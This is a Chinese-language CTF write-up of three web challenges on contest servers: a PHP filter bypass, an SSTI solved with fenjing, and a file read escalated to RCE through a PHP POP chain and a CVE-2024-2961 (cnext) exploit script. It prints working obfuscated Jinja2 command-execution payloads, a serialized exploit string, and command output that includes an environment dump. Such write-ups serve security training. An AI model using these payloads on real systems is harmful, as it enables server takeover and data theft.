Web
1.Sign in
创建实例查看源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
php
Flag is not here!
<?php
error_reporting(0);
include_once 'flag.php';
if ($_SERVER['QUERY_STRING']) {
if (preg_match("/[A-Za-z]+/", $_SERVER['QUERY_STRING'])) {
die("I hate English!");
}
if (substr(md5($_POST['nsilab']), 0, 4) !== "ba3f" || $_GET['hi'] !== "web") {
die("Oops! It's wrong!");
}
if ($_COOKIE['user'] !== 'admin') {
die("You are not admin!");
}
locate();
} else {
highlight_file(__FILE__);
}
?>
|
经典的绕过签到题,我们发现三层过滤。
第一层使用正则表达式匹配了英文字母,因此我们在传递参数的时候要进行转码
第二层使用POST参数传递nsilab,要求nsilab值的MD5编码前四位是ba3f;
这里用脚本来匹配MD5
1
2
3
4
5
6
7
8
9
10
11
12
13
|
python
import hashlib
target = "ba3f"
for i in range(1000000):
s = str(i)
hash_md5 = hashlib.md5(s.encode()).hexdigest()
if hash_md5.startswith(target):
print(f"Found: {s} → {hash_md5}")
break
// Found: 35350 → ba3fe3d296f3e7269b66f163d31b3dc3
|
用GET方式传参hi = web,对这里进行URL编码,将参数名和值URL编码为十六进制形式:
-
hi → %68%69(h的ASCII码是0x68,i是0x69)
-
web → %77%65%62(w=0x77, e=0x65, b=0x62)
-
构造查询字符串
:
1
2
|
plaintext
?%68%69=%77%65%62
|
第三层在COOKIE传参更改user = admin
传参后发现弹出窗口提示flag要飞走了,使用BurpSuite抓包发现flag
2.ezssti
由题,得到这是一道SSTI
进去尝试传递49,返回“你是…Hacker!!!吗?”可知这里存在过滤。
使用焚靖来绕过waf自动SSTI
fenjing crack -u “http://contest.ctf.nefu.edu.cn:33099/“ -i name -m GET –detect-mode fast
成功绕过,ls一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
$>> ls
INFO:[full_payload_gen] | Start generating final expression...
INFO:[payload_gen] | Great, string('ls') can be 'l'+'s'
INFO:[payload_gen] | Great, we generate os_popen_obj('ls')
INFO:[payload_gen] | Great, we generate os_popen_read('ls')
INFO:[cli] | Submit payload
{{
((cycler.next['_'+'_'+'g'+'l'+'o'+'b'+'a'+'l'+'s'+'_'+'_']['_'+'_'+'g'+'e'+'t'+'i'+'t'+'e'+'m'+'_'+'_']('_'+'_'+'b'+'u'+'i'+'l'+'t'+'i'+'n'+'s'+'_'+'_'))['_'+'_'+'g'+'e'+'t'+'i'+'t'+'e'+'m'+'_'+'_']('_'+'_'+'i'+'m'+'p'+'o'+'r'+'t'+'_'+'_'))('o'+'s').popen('l'+'s').read()
}}
<html>
<head>
<title>请告诉我你的名字~</title>
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<div class="container mt-5">
<h2>请告诉我你的名字:</h2>
<p>kimi no namai wa?</p>
<form method="GET">
<div class="form-group">
<label for="name">Your Name:</label>
<input type="text" class="form-control" id="name" name="name" placeholder="Type Your Name Here">
</div>
<button type="submit" class="btn btn-primary">Submit</button>
</form>
<div class="alert alert-info">你是...
app.py
吗?</div>
</div>
</body>
</html>
|
只发现了 app.py
ls -a 同样只有app.py
用cd .. && ls -a 到根目录下看看
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
|
$>> cd .. && ls -a
INFO:[full_payload_gen] | Start generating final expression...
INFO:[payload_gen] | Great, string('cd .. && ls -a') can be 'c'+'d'+' '+'.'+'.'+' '+'&'+'&'+' '+'l'+'s'+' '+'-'+'a'
INFO:[payload_gen] | Great, we generate os_popen_obj('cd .. && ls -a')
INFO:[payload_gen] | Great, we generate os_popen_read('cd .. && ls -a')
INFO:[cli] | Submit payload
{{
((cycler.next['_'+'_'+'g'+'l'+'o'+'b'+'a'+'l'+'s'+'_'+'_']['_'+'_'+'g'+'e'+'t'+'i'+'t'+'e'+'m'+'_'+'_']('_'+'_'+'b'+'u'+'i'+'l'+'t'+'i'+'n'+'s'+'_'+'_'))['_'+'_'+'g'+'e'+'t'+'i'+'t'+'e'+'m'+'_'+'_']('_'+'_'+'i'+'m'+'p'+'o'+'r'+'t'+'_'+'_'))('o'+'s').popen('c'+'d'+' '+'.'+'.'+' '+'&'+'&'+' '+'l'+'s'+' '+'-'+'a').read()
}}
<html>
<head>
<title>请告诉我你的名字~</title>
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<div class="container mt-5">
<h2>请告诉我你的名字:</h2>
<p>kimi no namai wa?</p>
<form method="GET">
<div class="form-group">
<label for="name">Your Name:</label>
<input type="text" class="form-control" id="name" name="name" placeholder="Type Your Name Here">
</div>
<button type="submit" class="btn btn-primary">Submit</button>
</form>
<div class="alert alert-info">你是...
.
..
.dockerenv
.flll4ggggg
app
bin
dev
etc
home
lib
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var
吗?</div>
</div>
</body>
</html>
|
发现.flll4gggg文件,cat一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
$>> cat /.flll4ggggg
INFO:[full_payload_gen] | Start generating final expression...
INFO:[payload_gen] | Great, string('cat /.flll4ggggg') can be 'c'+'a'+'t'+' '+'/'+'.'+'f'+'l'+'l'+'l'+'4'+'g'+'g'+'g'+'g'+'g'
INFO:[payload_gen] | Great, we generate os_popen_obj('cat /.flll4ggggg')
INFO:[payload_gen] | Great, we generate os_popen_read('cat /.flll4ggggg')
INFO:[cli] | Submit payload
{{
((cycler.next['_'+'_'+'g'+'l'+'o'+'b'+'a'+'l'+'s'+'_'+'_']['_'+'_'+'g'+'e'+'t'+'i'+'t'+'e'+'m'+'_'+'_']('_'+'_'+'b'+'u'+'i'+'l'+'t'+'i'+'n'+'s'+'_'+'_'))['_'+'_'+'g'+'e'+'t'+'i'+'t'+'e'+'m'+'_'+'_']('_'+'_'+'i'+'m'+'p'+'o'+'r'+'t'+'_'+'_'))('o'+'s').popen('c'+'a'+'t'+' '+'/'+'.'+'f'+'l'+'l'+'l'+'4'+'g'+'g'+'g'+'g'+'g').read()
}}
<html>
<head>
<title>请告诉我你的名字~</title>
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<div class="container mt-5">
<h2>请告诉我你的名字:</h2>
<p>kimi no namai wa?</p>
<form method="GET">
<div class="form-group">
<label for="name">Your Name:</label>
<input type="text" class="form-control" id="name" name="name" placeholder="Type Your Name Here">
</div>
<button type="submit" class="btn btn-primary">Submit</button>
</form>
<div class="alert alert-info">你是...
nsilab{71e70fed-9cf5-48d3-aa28-13c3ebaa3ebb}
吗?</div>
</div>
</body>
</html>
|
得到flag
同时我也在NSSCTF上找到同样使用焚靖的SSTI,这里记录一下:
[HZNUCTF 2023 preliminary]flask
创建实例发现确实是SSTI,但是它会把传递的所有参数都反写
1
2
3
|
http://node5.anna.nssctf.cn:21944/?name={a+b}
回显:
hello! }b a{
|
所以我们需要写个脚本来处理一下我们的输入
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
python
from flask import Flask, request, jsonify
import requests
app = Flask(__name__)
@app.route('/proxy', methods=['GET'])
def proxy():
name = request.args.get('name')
# 1. 验证 name 参数是否有效
if not name:
return jsonify(error="Missing 'name' parameter"), 400
try:
reversed_name = name[::-1] # 反转名字
result = to_proxy(reversed_name)
return result
except Exception as e:
return jsonify(error=str(e)), 500
def to_proxy(name):
base_url = "http://node5.anna.nssctf.cn:21944/"
params = {'name': name} # 使用参数字典避免手动拼接
try:
# 2. 使用 requests 的参数化 URL 并设置超时
resp = requests.get(base_url, params=params, timeout=5)
resp.raise_for_status() # 检查 HTTP 错误(如 404、500)
return resp.text
except requests.exceptions.RequestException as e:
raise Exception(f"Proxy request failed: {str(e)}")
if __name__ == '__main__':
app.run(host='0.0.0.0', port=30000, debug=False)
|
然后使用焚靖
fenjing crack -u “http://198.18.0.1:30000/proxy” -i name -m GET –detect-mode fast
ls 发现只有
hello! app.py
require.txt
env看看环境变量
$>> env
INFO:[full_payload_gen] | Start generating final expression...
INFO:[payload_gen] | Great, string('env') can be 'e'+'n'+'v'
INFO:[payload_gen] | Great, we generate os_popen_obj('env')
INFO:[payload_gen] | Great, we generate os_popen_read('env')
INFO:[cli] | Submit payload {%print (((((cycler|attr('n'+'e'+'x'+'t')|attr('_'+'_'+'g'+'l'+'o'+'b'+'a'+'l'+'s'+'_'+'_')|attr('_'+'_'+'g'+'e'+'t'+'i'+'t'+'e'+'m'+'_'+'_'))('_'+'_'+'b'+'u'+'i'+'l'+'t'+'i'+'n'+'s'+'_'+'_')|attr('_'+'_'+'g'+'e'+'t'+'i'+'t'+'e'+'m'+'_'+'_'))('_'+'_'+'i'+'m'+'p'+'o'+'r'+'t'+'_'+'_'))('o'+'s')|attr('p'+'o'+'p'+'e'+'n'))('e'+'n'+'v')|attr('r'+'e'+'a'+'d'))()%}
hello! HOSTNAME=8f82eec3db4b4210
PYTHON_PIP_VERSION=20.1
HOME=/root
GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568
WERKZEUG_SERVER_FD=3
PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/1fe530e9e3d800be94e04f6428460fc4fb94f5a9/get-pip.py
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
LANG=C.UTF-8
PYTHON_VERSION=3.8.2
PWD=/app
PYTHON_GET_PIP_SHA256=ce486cddac44e99496a702aa5c06c5028414ef48fdfd5242cd2fe559b13d4348
FLAG=NSSCTF{f9f794c5-47f3-47b2-b473-4881097d212f}
得到flag
3.fileread
提示cnext
cnext是 PHP利用GNU C Iconv将文件读取变成RCE(CVE-2024-2961)
GNU C 是一个标准的ISO C依赖库。在GNU C中,iconv()函数2.39及以前存在一处缓冲区溢出漏洞,这可能会导致应用程序崩溃或覆盖相邻变量。
如果一个PHP应用中存在任意文件读取漏洞,攻击者可以利用iconv()的这个CVE-2024-2961漏洞,将其提升为代码执行漏洞。
先来看看反序列化
源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
|
<?php
class Smile {
public $hello = '';
public $user = 'guest';
function show() {
if ($this->user == 'adm1n') {
echo 'Hello admin, here is your flag: '.$this->hello->flag;
} else {
echo 'Hello '.$this->user;
highlight_file(__FILE__);
}
}
function __destruct() {
$this->show();
}
function __invoke() {
if (preg_match('/^hello$/', $this->hello)) {
echo "flag就是那个在根目录下的flag";
}
}
}
class Lucky {
public $chmod = '0700';
public $filename = '';
function __wakeup() {
$this->filename = $_GET['file'];
}
function __toString() {
echo "Your File: ".file_get_contents($this->filename)."\n\n";
return 'huh?';
}
}
class Happy {
public $func = '';
public $param = [];
function call_func($func) {
if (!$this->param) {
call_user_func('phpinfo');
} else {
call_user_func($func, "locked");
}
}
function __get($var) {
if ($this->func) {
$this->call_func($this->func);
} else {
die();
}
return 'hacker!';
}
}
function Yeah($ser) {
unserialize(base64_decode($ser));
}
@error_reporting(0);
if (!empty($_GET)) {
$param = $_GET['p'];
call_user_func("Yeah", $param);
} else {
$face = new Smile();
die();
}
?>
|
pop链是__destruct()-> __get -> __invoke() -> __toString()
1
2
3
4
|
php
echo base64_encode(serialize(new Smile(new Happy(new Smile(new Lucky('0700',''),''),'114'),'adm1n')));
//Tzo1OiJTbWlsZSI6Mjp7czo1OiJoZWxsbyI7Tzo1OiJIYXBweSI6Mjp7czo0OiJmdW5jIjtPOjU6IlNtaWxlIjoyOntzOjU6ImhlbGxvIjtPOjU6Ikx1Y2t5IjoyOntzOjU6ImNobW9kIjtzOjQ6IjA3MDAiO3M6ODoiZmlsZW5hbWUiO3M6MDoiIjt9czo0OiJ1c2VyIjtzOjA6IiI7fXM6NToicGFyYW0iO3M6MzoiMTE0Ijt9czo0OiJ1c2VyIjtzOjU6ImFkbTFuIjt9
|
我们使用可以自动利用cnext漏洞的脚本:
CNEXT exploits
改下脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
python
......
class Remote:
def __init__(self, url: str) -> None:
self.url = url
self.session = Session()
def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
"""
return self.session.get("http://contest.ctf.nefu.edu.cn:33069/?
p=Tzo1OiJTbWlsZSI6Mjp7czo1OiJoZWxsbyI7Tzo1OiJIYXBweSI6Mjp7czo0OiJmdW5jIjtPOjU6IlNt
aWxlIjoyOntzOjU6ImhlbGxvIjtPOjU6Ikx1Y2t5IjoyOntzOjU6ImNobW9kIjtzOjQ6IjA3MDAiO3M6OD
oiZmlsZW5hbWUiO3M6MDoiIjt9czo0OiJ1c2VyIjtzOjU6Imd1ZXN0Ijt9czo1OiJwYXJhbSI7czozOiIx
MTEiO31zOjQ6InVzZXIiO3M6NToiYWRtMW4iO30=", params={"file": path})
def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
data = response.re.search("Your File: (.*)\n\n", flags=re.S).group(1)
return base64.decode(data)
......
bash
┌──(kali㉿kali)-[~/cnext-exploits]
└─$ python3 cnext-exploit.py http://contest.ctf.nefu.edu.cn:33100/ 'ls -a / > 1.txt'
[*] The data:// wrapper works
[*] The php://filter/ wrapper works
[*] The zlib extension is enabled
[+] Exploit preconditions are satisfied
[*] Using 0x7fdfdb200040 as heap
EXPLOIT SUCCESS
|
查看根目录
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
.
..
.dockerenv
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
readflag
root
run
sbin
srv
start.sh
sys
tmp
usr
var
|
这里有readflag,听夏师傅说这里是SUID,所以直接运行readflag
1
2
3
4
5
6
7
8
9
10
|
bash
┌──(kali㉿kali)-[~/cnext-exploits]
└─$ python3 cnext-exploit.py http://contest.ctf.nefu.edu.cn:33100/ '/./readflag > 1.txt'
[*] The data:// wrapper works
[*] The php://filter/ wrapper works
[*] The zlib extension is enabled
[+] Exploit preconditions are satisfied
[*] Using 0x7fdfdb200040 as heap
EXPLOIT SUCCESS
|
得到flag